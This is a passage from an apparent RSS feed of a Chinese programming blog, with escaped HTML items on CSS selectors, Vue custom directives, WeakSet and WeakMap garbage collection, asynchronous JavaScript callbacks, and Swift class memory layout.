&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;li&lt;/span&gt;:&lt;span style="color:#a6e22e"&gt;nth-child&lt;/span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;1&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;{&lt;span style="color:#75715e"&gt;/*子容器选择器 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: rgb(&lt;span style="color:#ae81ff"&gt;227&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;149&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;149&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;li&lt;/span&gt;:&lt;span style="color:#a6e22e"&gt;nth-child&lt;/span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;2&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: rgb(&lt;span style="color:#ae81ff"&gt;205&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;197&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;li&lt;/span&gt;:&lt;span style="color:#a6e22e"&gt;nth-child&lt;/span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;3&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: rgb(&lt;span style="color:#ae81ff"&gt;145&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;212&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;227&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;页面如图：&lt;/p&gt;</description></item><item><title>自定义指令</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-013/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-013/</guid><description>&lt;h3 id="如何自定义指令"&gt;如何自定义指令？&lt;/h3&gt;
&lt;p&gt;其实关于这个问题官方文档上已经有了很好的示例的，我们先来温故一下。&lt;/p&gt;
&lt;p&gt;除了核心功能默认内置的指令 (&lt;code&gt;v-model&lt;/code&gt; 和 &lt;code&gt;v-show&lt;/code&gt;)，Vue 也允许注册自定义指令。注意，在 Vue2.0 中，代码复用和抽象的主要形式是组件。然而，有的情况下，你仍然需要对普通 DOM 元素进行底层操作，这时候就会用到自定义指令。举个聚焦输入框的例子，如下：&lt;/p&gt;
&lt;p&gt;当页面加载时，该元素将获得焦点 (注意： &lt;code&gt;autofocus&lt;/code&gt; 在移动版 &lt;code&gt;Safari&lt;/code&gt; 上不工作)。事实上，只要你在打开这个页面后还没点击过任何内容，这个输入框就应当还是处于&lt;strong&gt;聚焦状态&lt;/strong&gt;。现在让我们用指令来实现这个功能：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 注册一个全局自定义指令 `v-focus`
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;directive&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;focus&amp;#39;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 当被绑定的元素插入到 DOM 中时……
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;inserted&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 聚焦元素
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;focus&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果想注册局部指令，组件中也接受一个 &lt;code&gt;directives&lt;/code&gt; 的选项：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;directives&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;focus&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 指令的定义
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;inserted&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;focus&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后你可以在模板中任何元素上使用新的 &lt;code&gt;v-focus property&lt;/code&gt;，如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;v-focus&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="指令内部提供的钩子函数"&gt;指令内部提供的钩子函数&lt;/h4&gt;
&lt;p&gt;一个指令定义对象可以提供如下几个钩子函数 (均为可选)：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bind:&lt;/code&gt; 只调用一次，指令第一次绑定到元素时调用。在这里可以进行一次性的初始化设置。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;inserted:&lt;/code&gt; 被绑定元素插入父节点时调用 (仅保证父节点存在，但不一定已被插入文档中)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;update:&lt;/code&gt; 所在组件的 VNode 更新时调用，**但是可能发生在其子 VNode 更新之前。**指令的值可能发生了改变，也可能没有。但是你可以通过比较更新前后的值来忽略不必要的模板更新 (详细的钩子函数参数见下)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;componentUpdated:&lt;/code&gt; 指令所在组件的 VNode 及&lt;strong&gt;其子VNode&lt;/strong&gt;全部更新后调用。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;unbind:&lt;/code&gt; 只调用一次，指令与元素解绑时调用。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="钩子函数参数"&gt;钩子函数参数&lt;/h4&gt;
&lt;p&gt;指令钩子函数会被传入以下参数：&lt;/p&gt;</description></item><item><title>WeakMap 和 WeakSet</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/weakmap-weakset/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/weakmap-weakset/</guid><description>&lt;h2 id="1-什么是-weakset"&gt;1. 什么是 WeakSet&lt;/h2&gt;
&lt;p&gt;WeakSet 结构与 Set 类似，也是不重复的值的集合，具备&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WeakSet.prototype.add(value)&lt;/strong&gt; ：向 WeakSet 实例添加一个新成员。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WeakSet.prototype.delete(value)&lt;/strong&gt; ：清除 WeakSet 实例的指定成员。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WeakSet.prototype.has(value)&lt;/strong&gt; ：返回一个布尔值，表示某个值是否在 WeakSet 实例之中。 这三个方法。但是，它与 Set 有两个区别。&lt;/li&gt;
&lt;/ul&gt;
&lt;h6 id="区别一weakset-的成员只能是对象和symbol类型而不能是其他类型的值我们用代码演示一下"&gt;区别一：WeakSet 的成员只能是对象和Symbol类型，而不能是其他类型的值，我们用代码演示一下&lt;/h6&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/weakmap-weakset/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;从代码中可以看到，想像Set一样直接往 WeakSet 中添加原始类型化会报错，只能添加对象和Symbol&lt;/p&gt;
&lt;h6 id="区别二这是核心-weakset-中的对象都是弱引用即垃圾回收机制不考虑-weakset-对该对象的引用也就是说如果其他对象都不再引用该对象那么垃圾回收机制会自动回收该对象所占用的内存不考虑该对象还存在于-weakset-之中"&gt;区别二&lt;code&gt;(这是核心)&lt;/code&gt;： WeakSet 中的对象都是弱引用，即垃圾回收机制不考虑 WeakSet 对该对象的引用，也就是说，如果其他对象都不再引用该对象，那么垃圾回收机制会自动回收该对象所占用的内存，不考虑该对象还存在于 WeakSet 之中。&lt;/h6&gt;
&lt;p&gt;（这句解释来自&lt;code&gt;ECMAScript 6 入门&lt;/code&gt;,第一眼看到这句话这话会觉得有点晦涩，我们来解释一下）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;弱引用&lt;/strong&gt;：垃圾回收机制有一套自己的回收算法，我们都知道一个函数执行完成后该函数在调用栈中创建的执行上下文会被销毁，这里说的销毁，其实指的就是执行上下文中环境变量、词法变量中的数据存储所占据的内存空间被垃圾回收机制所回收，那么&lt;code&gt;垃圾回收机制不考虑 WeakSet 对该对象的引用&lt;/code&gt;是不是就意味着垃圾回收机制不会回收 WeakSet 对象里面的数据所占据的内存呢？不！不是的！代码是最好的解释&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/weakmap-weakset/image-02.png"&gt;&lt;/p&gt;
&lt;p&gt;我们用 ws 中存放一个对象，然后再将该对象置为null，（这里要说明一下，一个变量被置为null，就意味着这个变量的内存可以被回收了）看着这个打印结果有没有突然明白了点什么，对！没错！只要 WeakSet 结构中的对象不再需要被引用，那么 WeakSet 就直接为空了，这不就意味着WeakSet中的数据所占据的内存被释放了吗。好的，你或许还会有疑问，难道不用 WeakSet 存储数据，结果就不是这样的吗，来打消你的疑虑&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/weakmap-weakset/image-03.webp"&gt; 不使用 WeakSet 存放数据，当变量obj为null时，fistName依旧是有值的，对比这段代码，我们可以清晰的看出, WeakSet中 - &lt;code&gt;垃圾回收机制会自动回收该对象所占用的内存&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="2-这里有bug"&gt;2. 这里有&amp;rsquo;BUG'&lt;/h2&gt;
&lt;p&gt;可能已经有小伙伴拔出了他40米长的大剑了，上图二中的代码其实有问题，真实的打印应该是&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/weakmap-weakset/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;各位手中的长剑收一收，先别急，其实我们前面聊的没有问题，为什么这里真是打印能出来结果呢？这个问题在国外某技术论坛上也是一度出现在 WeakSet 话题榜首位，&lt;strong&gt;解释为：因为浏览器的垃圾回收机制是不受我们控制的，我们无法知道垃圾回收机制什么时候执行，之所以打印能出现内容，其实是因为打印的时候垃圾回收机制没有启动。所以我们可以认为，上图二中的打印在垃圾回收启动之后，它就是空的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们可以这样来证明它:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/es6/weakmap-weakset/image-05.webp"&gt;&lt;/p&gt;
&lt;p&gt;如果这样你觉得依旧不够睡服你自己的话，我们把这段代码搬到node中：&lt;/p&gt;</description></item><item><title>异步编程</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-013/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-013/</guid><description>&lt;p&gt;浏览器中的JavaScript程序是典型的事件驱动型程序，即它们会等待用户触发后才真正的执行，而基于的JavaScript的服务器通常要等待客户端通过网络发送请求，然后才能执行。这种异步编程在JavaScript是很常见的，下面就来介绍几个异步编程的重要特性，它们可以使编写异步代码更容易。&lt;/p&gt;
&lt;p&gt;本文将按照异步编程方式的出现时间来归纳整理： &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-013/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="一什么是异步"&gt;一、什么是异步&lt;/h2&gt;
&lt;p&gt;下面先来看看同步和异步的概念：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;同步：&lt;/strong&gt; 在执行某段代码时，在没有得到返回结果之前，其他代码暂时是无法执行的，但是一旦执行完成拿到返回值，即可执行其他代码。也就是说，在此段代码执行完未返回结果之前，会阻塞之后的代码执行，这样的情况称为同步。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;异步：&lt;/strong&gt; 当某一代码执行异步过程调用发出后，这段代码不会立刻得到返回结果。而是在异步调用发出之后，一般通过回调函数处理这个调用之后拿到结果。异步调用发出后，不会影响阻塞后面的代码执行，这样的情况称为异步。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面来看一个例子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 同步
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;syncAdd&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;syncAdd&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// 立即得到结果：3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 异步
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;asyncAdd&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  &lt;span style="color:#a6e22e"&gt;setTimeout&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;    &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;b&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;  }, &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;asyncAdd&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;) &lt;span style="color:#75715e"&gt;// 1s后打印结果：3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里定义了同步函数 syncAdd 和异步函数 asyncAdd，调用 syncAdd(1, 2) 函数时会等待得到结果之后再执行后面的代码。而调用 asyncAdd(1, 2) 时则会在得到结果之前继续执行，直到 1 秒后得到结果并打印。&lt;/p&gt;
&lt;p&gt;我们知道，JavaScript 是单线程的，如果代码同步执行，就可能会造成阻塞；而如果使用异步则不会阻塞，不需要等待异步代码执行的返回结果，可以继续执行该异步任务之后的代码逻辑。因此，在 JavaScript 编程中，会大量使用异步。&lt;/p&gt;
&lt;p&gt;那为什么单线程的JavaScript还能实现异步呢，其实也没有什么魔法，只是把一些操作交给了其他线程处理，然后采用了&lt;strong&gt;事件循环&lt;/strong&gt;的机制来处理返回结果。&lt;/p&gt;
&lt;h2 id="二回调函数"&gt;二、回调函数&lt;/h2&gt;
&lt;p&gt;在最基本的层面上，JavaScript的异步编程式通过回调实现的。回调的是函数，可以传给其他函数，而其他函数会在满足某个条件时调用这个函数。下面就来看看常见的不同形式的基于回调的异步编程。&lt;/p&gt;
&lt;h3 id="1-定时器"&gt;1. 定时器&lt;/h3&gt;
&lt;p&gt;一种最简单的异步操作就是在一定时间之后运行某些代码。如下面代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;setTimeout&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;asyncAdd&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;), &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;setTimeout()&lt;/code&gt;方法的第一个参数是一个函数，第二个参数是以毫秒为单位的时间间隔。&lt;code&gt;asyncAdd()&lt;/code&gt;方法可能是一个回调函数，而&lt;code&gt;setTimeout()&lt;/code&gt;方法就是注册回调函数的函数。它还代指在什么异步条件下调用回调函数。&lt;code&gt;setTimeout()&lt;/code&gt;方法只会调用一次回调函数。&lt;/p&gt;
&lt;h3 id="2-事件监听"&gt;2. 事件监听&lt;/h3&gt;
&lt;p&gt;给目标 DOM 绑定一个监听函数，用的最多的是 &lt;code&gt;addEventListener&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;#myDiv&amp;#39;&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;addEventListener&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;click&amp;#39;&lt;/span&gt;, (&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;我被点击了&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}, &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;通过给 id 为 &lt;code&gt;myDiv&lt;/code&gt; 的一个元素绑定了点击事件的监听函数，把任务的执行时机推迟到了点击这个动作发生时。此时，&lt;strong&gt;任务的执行顺序与代码的编写顺序无关，只与点击事件有没有被触发有关&lt;/strong&gt;。&lt;/p&gt;</description></item><item><title>Swift底层原理-结构体、类和协议</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86-%E7%BB%93%E6%9E%84%E4%BD%93-%E7%B1%BB%E5%92%8C%E5%8D%8F%E8%AE%AE/</link><pubDate>Wed, 06 May 2026 22:05:01 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86-%E7%BB%93%E6%9E%84%E4%BD%93-%E7%B1%BB%E5%92%8C%E5%8D%8F%E8%AE%AE/</guid><description>&lt;p&gt;在&lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/objective-c%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86-nsobject/"&gt;Objective-C底层原理-NSObject&lt;/a&gt;文章中，我们深入了解了Objective-C对象的底层实现。本文将探讨Swift中类和结构体的底层原理。&lt;/p&gt;
&lt;h2 id="swift数据结构的分类"&gt;Swift数据结构的分类&lt;/h2&gt;
&lt;p&gt;Swift中的类根据是否继承自NSObject，在底层实现上存在显著差异：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;继承自NSObject的Swift类&lt;/strong&gt;：兼容Objective-C运行时，支持完整的Objective-C特性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;纯Swift类&lt;/strong&gt;：使用Swift原生运行时，性能更优但Objective-C互操作性受限&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Swift中结构体是值类型，具有以下核心特征：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;栈上分配内存（&lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%80%BC%E7%B1%BB%E5%9E%8B%E5%92%8C%E5%BC%95%E7%94%A8%E7%B1%BB%E5%9E%8B%E7%9A%84%E5%8C%BA%E5%88%AB/#%E5%80%BC%E7%B1%BB%E5%9E%8B%E7%9A%84%E9%80%83%E9%80%B8"&gt;非逃逸&lt;/a&gt;情况）&lt;/li&gt;
&lt;li&gt;值语义和完整拷贝&lt;/li&gt;
&lt;li&gt;&lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%80%BC%E7%B1%BB%E5%9E%8B%E5%92%8C%E5%BC%95%E7%94%A8%E7%B1%BB%E5%9E%8B%E7%9A%84%E5%8C%BA%E5%88%AB/#%E5%86%99%E6%97%B6%E6%8B%B7%E8%B4%9Dcopy-on-write"&gt;写时拷贝&lt;/a&gt;优化（COW）&lt;/li&gt;
&lt;li&gt;静态方法派发&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="swift类的底层实现"&gt;Swift类的底层实现&lt;/h2&gt;
&lt;h3 id="继承自nsobject的swift类"&gt;继承自NSObject的Swift类&lt;/h3&gt;
&lt;p&gt;当Swift类继承自NSObject时，必须兼容Objective-C的运行时系统，其底层实现与Objective-C对象高度一致。&lt;/p&gt;
&lt;h4 id="内存布局"&gt;内存布局&lt;/h4&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Class&lt;/span&gt;: NSObject {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; name: String
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; isMale: Bool
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; age: Int
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;(name: String, isMale: Bool, age: Int) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;.name = name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;.isMale = isMale
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;self&lt;/span&gt;.age = age
